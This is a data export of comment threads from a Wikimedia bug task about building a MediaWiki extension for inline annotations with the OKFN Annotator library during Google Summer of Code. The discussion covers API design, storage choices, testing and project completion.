+968318,Implement inline comment support using OKFN annotator,No reply. Hence closing.,,,1511275456,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,229,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+923234,Implement inline comment support using OKFN annotator,">>! In T48440#529613, @Parent5446 wrote:
+> https://gerrit.wikimedia.org/r/79839
+> https://gerrit.wikimedia.org/r/78251
+> 
+> Once they are merged, the extension has most of the features implemented. The only thing not implemented is threading, which would be too difficult because OKFN does not natively support it.
+
+>>! In T48440#529622, @Mattflaschen-WMF wrote:
+> Yeah, I consider this complete.
+
+So should this task be closed as resolved? (The item is mentioned on https://www.mediawiki.org/wiki/Outreach_programs/Possible_mentors - that's how I got here)",,,1504334003,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,217,,0,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,1,1
+228360,Implement inline comment support using OKFN annotator,"If you have open tasks or bugs left, one possibility is to list them at https://www.mediawiki.org/wiki/Google_Code-In and volunteer yourself as mentor.
+
+We have heard from Google and free software projects participating in Code-in that students participating in this programs have done a great work finishing and polishing GSoC projects, many times mentores by the former GSoC student. The key is to be able to split the pending work in little tasks.
+
+More information in the wiki page. If you have questions you can ask there or you can contact me directly.",,,1382470782,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,16,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0
+228353,Implement inline comment support using OKFN annotator,"**tilgovi** wrote:
+
+Nice to see this worked out well!
+
+As for replies, I've got a threading plugin that handles most of this. I'm looking to upstream it for Annotator 2.0.
+
+I'll also take the feedback about not showing annotations immediately into mind. Nothing stops the integrator from overriding the .annotator-hl styles, but something more direct and programmatic might make sense.
+
+Once again, reach out any time in #annotator on freenode or the annotator-dev list and I'll keep watching this bug.",,,1379459763,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+228346,Implement inline comment support using OKFN annotator,"The GSoC project has the ""Prototyping"" word very visible. Wikimedia requirements for deployment are out of scope. The fact that they are being discussed already now indicates that this prototyping phase seems to be a success. :)
+
+Let's get through the GSoC evaluation and let's talk about further steps after that.",,,1379455722,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+228340,Implement inline comment support using OKFN annotator,"Bug 52156 (history) is also a blocker (to be clear, this is an extra, not part of the required prototype deliverables) to WMF (and probably most third parties) deployment.  It's not strictly UI, but it's definitely user-visible (to experienced users who understand history).",,,1379454874,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+228335,Implement inline comment support using OKFN annotator,"**swalling** wrote:
+
+(In reply to comment #54)
+> Yeah, I consider this complete.  I think we will be able to get those two
+> merged, but I don't think either are hard requirements (though the annotation
+> tab is pretty useful, because otherwise you get annotations everywhere all
+> the
+> time).
+
+I think bug 52064 is the only big UI/UX blocker for actually deploying this to a Wikimedia wiki. Showing annotations by default on every view is likely to annoy folks. 
+
+Otherwise, I think even things like bonafide threading support can be put on hold for later release. Overall, agreed with Matt that this product is nearly done. Very good work for a GSoC project. :)",,,1379450646,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+228330,Implement inline comment support using OKFN annotator,"Yeah, I consider this complete.  I think we will be able to get those two merged, but I don't think either are hard requirements (though the annotation tab is pretty useful, because otherwise you get annotations everywhere all the time).
+
+As Tyler noted, there's not really reply support.  However, if you comment on the same text, it puts the annotation underneath.
+
+The other item that is not implemented (mainly since we did not prioritize it) is including the date.
+
+However, there have been other items implemented that were not listed under Required Deliverables, so I think it balances out.  E.g.
+
+* Update and delete
+* Proper DB setup (including AnnotationRepository for testability), including SQLite support and updates.
+* Logged out user support (under review; Required Deliverables mentions usernames, but not IPs)
+* PHP unit tests (this is the third change under review, which I would like to get merged).",,,1379449034,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,11,,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+228327,Implement inline comment support using OKFN annotator,"There are two open patches right now:
+
+https://gerrit.wikimedia.org/r/79839
+https://gerrit.wikimedia.org/r/78251
+
+Once they are merged, the extension has most of the features implemented. The only thing not implemented is threading, which would be too difficult because OKFN does not natively support it.",,,1379447594,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,0
+228323,Implement inline comment support using OKFN annotator,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?",,,1379434950,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0
+228318,Implement inline comment support using OKFN annotator,"(In reply to comment #49)
+> Just tried the demo and it works well. Great work Richa and mentors! Just a
+> couple of comments:
+
+Thanks. :)
+
+> - When I edited the page all annotations were gone, I reverted to the
+> previous edition but the annotations didn't reappear.
+
+Yes, handling page changes is one of the trickier things that there may or may not be time for this summer.
+
+However, we do want to fix the issue where the wrong annotations appear when you look at an old version of the page from the history (bug 51728).
+
+> - I assume that these annotations will be displayed in the newly deployed
+> Visual Editor. Would it be possible to update the text anchor as the text is
+> being changed? Annotations in Google Docs have this behaviour, however I am
+> not sure if it would be too complex to mimic that feature.
+
+There is no VE support so far.
+
+> - In the ""recent changes"" page I didn't see any notification of my actions, I
+> understand that it could be meant this way?
+
+We may have time to add logging, but you're right there is no history or logging yet.
+ 
+> And I also loved that you can select several sections of text and create one
+> annotation for all those sections. If the annotation link could be displayed
+> (maybe with a 3rd icon, an anchor displaying the link), that would be a great
+> addition for external websites linking to/highlighting particular fragments,
+> or conversations in the talk page pointing to fragments.
+
+That's a possibility at some point.",,,1374381107,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+228310,Implement inline comment support using OKFN annotator,"(In reply to comment #49)
+> Just tried the demo and it works well. Great work Richa and mentors! Just a
+> couple of comments:
+> - When I edited the page all annotations were gone, I reverted to the
+> previous
+> edition but the annotations didn't reappear.
+It looks for annotations for the latest revision since i am using the latest revision id. There is already a bug filed for this https://bugzilla.wikimedia.org/show_bug.cgi?id=51728 .
+> - I assume that these annotations will be displayed in the newly deployed
+> Visual Editor. Would it be possible to update the text anchor as the text is
+> being changed? Annotations in Google Docs have this behaviour, however I am
+> not
+> sure if it would be too complex to mimic that feature.
+> - A minor glitch: when I delete an annotation I get the message ""sorry we
+> could
+> not destroy this annotation"", however the annotation is indeed deleted.
+
+The destroying of annotations is still under review. https://gerrit.wikimedia.org/r/74150 so the annotations are not actually deleted currently.
+> - In the ""recent changes"" page I didn't see any notification of my actions, I
+> understand that it could be meant this way?
+> 
+> And I also loved that you can select several sections of text and create one
+> annotation for all those sections. If the annotation link could be displayed
+> (maybe with a 3rd icon, an anchor displaying the link), that would be a great
+> addition for external websites linking to/highlighting particular fragments,
+> or
+> conversations in the talk page pointing to fragments.
+> 
+> Micru",,,1374337939,,PHID-USER-y3lag4tcfivaet2fsuln,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+228302,Implement inline comment support using OKFN annotator,"Just tried the demo and it works well. Great work Richa and mentors! Just a couple of comments:
+- When I edited the page all annotations were gone, I reverted to the previous edition but the annotations didn't reappear.
+- I assume that these annotations will be displayed in the newly deployed Visual Editor. Would it be possible to update the text anchor as the text is being changed? Annotations in Google Docs have this behaviour, however I am not sure if it would be too complex to mimic that feature.
+- A minor glitch: when I delete an annotation I get the message ""sorry we could not destroy this annotation"", however the annotation is indeed deleted.
+- In the ""recent changes"" page I didn't see any notification of my actions, I understand that it could be meant this way?
+
+And I also loved that you can select several sections of text and create one annotation for all those sections. If the annotation link could be displayed (maybe with a 3rd icon, an anchor displaying the link), that would be a great addition for external websites linking to/highlighting particular fragments, or conversations in the talk page pointing to fragments.
+
+Micru",,,1374323153,,PHID-USER-my5s6nat437le6q5fq7d,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+228292,Implement inline comment support using OKFN annotator,"You can now also use the simpler URL, http://annotator.wmflabs.org",,,1374301337,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+228283,Implement inline comment support using OKFN annotator,"There is now a test wiki for this, http://annotator.instance-proxy.wmflabs.org/ .  If you're interested in testing it, create an account, then try annotating http://annotator.instance-proxy.wmflabs.org/wiki/Lorem_ipsum .
+
+Currently, you must be logged in, both to see annotations and to make them (bug 51722).",,,1374299983,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,1,1,1,0,0,0
+228274,Implement inline comment support using OKFN annotator,"We've made a Bugzilla component.  This will still be the main bug, tracking the initial key functionality.",,,1374286335,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0
+228266,Implement inline comment support using OKFN annotator,"**nick** wrote:
+
+That GitHub compare url has the sense of the comparison the wrong way round: http://github.com/okfn/annotator/compare/master...wip",,,1374046255,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+228260,Implement inline comment support using OKFN annotator,"**nick** wrote:
+
+(In reply to comment #43)
+
+Hi all,
+
+Sorry not to have weighed in earlier. I'm really glad to see you're using Annotator, and hope I can help out with any problems you might have.
+
+> I'm a little unclear about the relationship of 'read' and 'index', and how
+> the URLs work.
+
+Yes, this is a bit messy. Read and index are implicitly the same endpoint at the moment, and index is just ""read"" with a null ID. Obviously this is horrible, but it turns out that it doesn't matter that much as an index endpoint that returns all annotations is almost never useful anyway, so...
+
+> It seems like this may be a moot point if we use loadFromSearch.  However, I
+> would expect there to be an 'index' url for consistency.
+
+...the vast majority of real implementations use loadFromSearch. If you're interested, current work in progress on Annotator 1.3/2.0 (http://github.com/okfn/annotator/compare/wip...master) is revisiting some of this stuff, and the four endpoints that need implementing by a store are now create/update/delete/query, and the index endpoint is gone.
+
+But, to answer your concrete question: use loadFromSearch and ignore the existence of the ""index"" endpoint.",,,1374046180,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+228255,Implement inline comment support using OKFN annotator,"I was wondering if someone from the OKFN team could answer a couple quick questions.
+
+I'm a little unclear about the relationship of 'read' and 'index', and how the URLs work.
+
+https://github.com/okfn/annotator/wiki/Storage#index says index returns ""a list of all annotation objects"".  First, I'm wondering if that is supposed to be limited to the current page's annotations.  Maybe that's up to us.
+
+However, the plugin docs (https://github.com/okfn/annotator/wiki/Store-Plugin) have no mention of index, nor do I see a way to override the URL.
+
+https://github.com/okfn/annotator/wiki/Storage#read says it's a straight-forward method that takes an ID and returns a single annotation.
+
+But the plugin docs (Store-Plugin) say, ""read: GETs all annotations. Called when plugin loads or .loadAnnotations() is called. Server should return an array of annotations serialised as JSON.""
+
+Looking at the Coffee code, it seems read is called to get a list, but never explicitly called for a single annotation (although there is a commented out line doing that).  However, since we're using the recommended 303 redirect, it's implicitly used for creations.
+
+The list part is confirmed by testing.  It loads http://127.0.0.1:9090/w/api.php?action=annotator-read&id=:id, which is a bit weird.  I think this is related to https://github.com/okfn/annotator/issues/186
+
+It seems like this may be a moot point if we use loadFromSearch.  However, I would expect there to be an 'index' url for consistency.",,,1373666058,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,1,,1,1,0,1,0,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1,0,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+228250,Implement inline comment support using OKFN annotator,"See also:
+* [[Wikipedia:Village_pump_(idea_lab)/Archive_3#Sticky_Notes_for_Easier_Editing]]
+* [[Wikipedia:Sticky notes]]",,,1372611691,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+228243,Implement inline comment support using OKFN annotator,"**tilgovi** wrote:
+
+We're right here watching, Rob :)
+
+I would recommend just focusing on upstream okfn/annotator. We're cranking hard to get everything relevant pushed upstream.
+
+Richa, don't hesitate to reach out if you want help testing or have any questions about the annotator code.",,,1372372816,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-1,,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+228238,Implement inline comment support using OKFN annotator,"**azaroth42** wrote:
+
+
+Just to recommend the hypothes.is version of annotator, and to point to the Open Annotation specification for the implementation:
+
+http://www.openannotation.org/spec/core/
+
+and 
+
+http://www.w3.org/community/openannotation/
+
+Hope that helps, and looking forwards to seeing the outcomes. Happy to answer any Open Annotation questions that may come up!",,,1372368533,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+228234,Implement inline comment support using OKFN annotator,"Gerrit is ready and all my github changes are imported. 
+https://git.wikimedia.org/log/mediawiki%2Fextensions%2FAnnotator.git
+The basic skeleton of where to call the annotations is ready. Now i am starting with the storage of comments. Here are some of my points:
+1. Going through the idea of custom table implementation and storing comments in a separate table which takes account of the revision id, user and the range.
+2. Creating classes 'create', 'update', 'read', 'delete' for annotations. https://github.com/okfn/annotator/wiki/store-plugin#urls
+3. Modify the above urls of OKFN as:
+prefix: 'api.php'
+create: '?action=create', etc.",,,1371452038,,PHID-USER-y3lag4tcfivaet2fsuln,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+228228,Implement inline comment support using OKFN annotator,Just a note that i have made a repo on github https://github.com/richajain/Prototyping-inline-comments and have done some initial commits. I will be updating this with the progress done at regular time.,,,1370539929,,PHID-USER-y3lag4tcfivaet2fsuln,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,2,False,,,-4,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+228221,Implement inline comment support using OKFN annotator,"**tilgovi** wrote:
+
+Just popping in to subscribe to CC on this. I'm actively maintaining and improving Annotator for Hypothes.is and am happy to answer any questions or work with you all to close any gaps we need to in order to store annotations in mediawiki.",,,1369945974,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-5,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+228216,Implement inline comment support using OKFN annotator,"(In reply to comment #35)
+> I saw they allow overriding the URL syntax
+> (https://github.com/okfn/annotator/wiki/Store-Plugin#urls), so the main
+> concern
+> is probably less used methods like PUT and DELETE, which needs investigation
+> on
+> both sides (OKFN and MW).
+
+AFAIK, if you submit a PUT/DELETE request to the API, it will probably just treat it as a GET request, although I could be wrong and have not tested this.",,,1369942866,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+228212,Implement inline comment support using OKFN annotator,"(In reply to comment #33)
+> (In reply to comment #32)
+> > Someone may have made a RESTful wrapper of a MW API, or have advice on doing
+> > so.
+> 
+> I sure hope this exists. The API interface is terrible right now.
+
+I saw they allow overriding the URL syntax (https://github.com/okfn/annotator/wiki/Store-Plugin#urls), so the main concern is probably less used methods like PUT and DELETE, which needs investigation on both sides (OKFN and MW).",,,1369942576,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-5,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+228207,Implement inline comment support using OKFN annotator,"From Matt's email:
+> The high-level concept of RevisionDelete applies, but I don't think
+> directly using it is a good fit.  What happens if one comment on a page
+> is a violation, but the next consecutive 999 are fine?  With RevDel, I
+> think you'd have to remove the bad one, then suppress all 1000 (correct
+> me if I'm wrong) containing the bad one, leaving no history of how the
+> good 999 developed.
+
+I was thinking one page per comment.
+
+> True, but there's existing code (the main one I'm thinking of is AFTv5)
+> to learn from.  Another reason not to use a page is that it constrains
+> changes.  Once we publish the JSON page, there could be bots that rely
+> on it, rather than the API.  If we just use JSON internally, that gives
+> us flexibility.
+
+If we use pages, we could still use JSON only internally. We'd implement a new Content type for annotations and still provide an API module for accessing comments.
+
+All that said, I understand the concern with using articles as a storage medium, so I would be fine with either way. I just wanted to make sure we weren't ditching the idea without due consideration.",,,1369942104,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-5,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+228202,Implement inline comment support using OKFN annotator,"(In reply to comment #32)
+> Someone may have made a RESTful wrapper of a MW API, or have advice on doing
+> so.
+
+I sure hope this exists. The API interface is terrible right now.",,,1369936634,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-5,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+228196,Implement inline comment support using OKFN annotator,"Richa Jain has been accepted for Google Summer of Code for this project.  She is currently investigating OKFN and the store plugin.  The below are some thoughts as a starting point:
+
+OKFN provides documentation on writing a plugin for storing annotations (https://github.com/okfn/annotator/wiki/Store-Plugin)?  The most straightforward approach seems to be implementing that as a MW extension.
+
+https://github.com/okfn/annotator-store is an example of how one store works, though of course the MW extension example will be different.
+
+One issue is that the API is RESTful.  It lets you set a custom prefix, but the syntax is a little different than MW normally uses.  
+
+One way to do this is to make a normal MW-style API subclass (like https://www.mediawiki.org/wiki/API:Extensions#Creating_API_modules_in_extensions), then hook into the URL routing code to translate the OKFN-style RESTful URLs to calls to the API.
+
